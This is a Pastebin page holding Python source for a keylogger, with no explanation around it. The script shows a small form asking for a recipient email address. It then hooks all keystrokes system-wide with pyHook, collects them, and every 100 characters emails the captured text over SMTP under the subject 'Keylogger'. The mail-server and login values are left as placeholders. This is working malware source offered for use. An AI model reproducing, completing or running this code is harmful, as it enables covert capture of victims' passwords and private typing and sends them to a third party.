SHARE
TWEET

Rexibit

a guest Dec 29th, 2016 523 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import pyHook, pythoncom, sys, logging, smtplib, tkinter, re, _thread, ssl, os.path
  2. from email.mime.multipart  import MIMEMultipart
  3. from email.mime.text import MIMEText
  4. from tkinter import *
  5. counts = 0
  6. string = ""
  7.  
  8. fields = 'Email'
  9. checkEmail = False
  10. receivers = []
  11. def fetch(entries,root):
  12.     global checkEmail
  13.     global receivers
  14.     field = entries[0]
  15.     text = entries[1].get()
  16.     match = re.match('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', text)
  17.     if match == None:
  18.         print('Bad Syntax in ' + text)
  19.         checkEmail = False
  20.     else:
  21.         checkEmail = True
  22.         receivers.append(text)
  23.         root.destroy()
  24.  
  25.  
  26. def makeform(root, fields):
  27.     row = Frame(root)
  28.     lab = Label(row, width=15, text=fields, anchor='w')
  29.     ent = Entry(row)
  30.     row.pack(side=TOP, fill=X, padx=4, pady=5)
  31.     lab.pack(side=LEFT)
  32.     ent.pack(side=RIGHT, expand=YES, fill=X)
  33.     entries =(fields, ent)
  34.     return entries
  35.  
  36. def quit(root):
  37.     root.destroy()
  38.  
  39. def onkeyboardevent(event):
  40.     if not checkEmail:
  41.         return False
  42.     global counts
  43.     global string
  44.     global receivers
  45.     string+=(chr(event.Ascii))
  46.     counts+= 1
  47.     print(counts)
  48.     if counts == 100:
  49.         print(string)
  50.         #sendMail("Thread-1", receivers,string)
  51.         _thread.start_new_thread( sendMail, ("Thread-1", receivers,string, ))
  52.         string=""
  53.         counts=0
  54.     return True
  55.  
  56.  
  57. def sendMail(threadName,receivers,Message):
  58.     host = # "enter your host provider"
  59.     port = # "enter host port"
  60.     sslUse = # "enter if True or False"
  61.     from_ = # "enter email address"
  62.     pass_ = # "enter email password"
  63.     user = # "enter email address"
  64.     emails = receivers
  65.     subject = "Keylogger"
  66.     messageText = Message
  67.  
  68.     x = 0
  69.     for arg in sys.argv:
  70.         if x<10:
  71.             x = x+1
  72.             continue
  73.         messageText = messageText + "\r\n" + arg
  74.  
  75.  
  76.  
  77.     msg = MIMEText(messageText)
  78.  
  79.     msg['Subject'] = subject
  80.  
  81.     msg['From'] = from_
  82.  
  83.  
  84.    
  85.     if str(sslUse) == "TLS":
  86.         #s = smtplib.SMTP_SSL('webmail.frontagelab.com'+":"+str('587'),context=contextSSL)
  87.         s = smtplib.SMTP(host+':'+str(port),timeout=5)  # object created
  88.         s.debuglevel=0
  89.         s.ehlo()
  90.         s.starttls()  # enable TLS
  91.         s.ehlo()
  92.         s.login(user,pass_)
  93.         res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
  94.         s.quit()
  95.     elif str(sslUse) == "True":
  96.         s = smtplib.SMTP_SSL()
  97.         s.connect(host, port)
  98.         s.login(user, pass_)
  99.         res = s.sendmail(from_addr=from_, to_addrs=emails, msg=msg.as_string())
  100.         s.quit()
  101.     else:
  102.         s = smtplib.SMTP(host=host)
  103.         s.login(user=user,password=pass_)
  104.         res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
  105.         s.quit()
  106.  
  107.     print ("done")
  108.     return True
  109.  
  110.  
  111. if __name__ == '__main__':
  112.     root = Tk()
  113.     ents = makeform(root, fields)
  114.     root.bind('<Return>', (lambda event, e=ents: fetch(e,root)))
  115.     b1 = Button(root, text='Done',command=(lambda e=ents: fetch(e,root)))
  116.     b1.pack(side=LEFT, padx=5, pady=5)
  117.     b2 = Button(root, text='Quit', command=root.destroy)
  118.     b2.pack(side=LEFT, padx=5, pady=5)
  119.     root.mainloop()
  120.  
  121. hooks_manger = pyHook.HookManager()
  122. hooks_manger.KeyDown = onkeyboardevent
  123. hooks_manger.HookKeyboard()
  124. pythoncom.PumpMessages()
  125.  
  126. input ("Press ENTER to exit")
  127.  
  128. # By Boseda
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top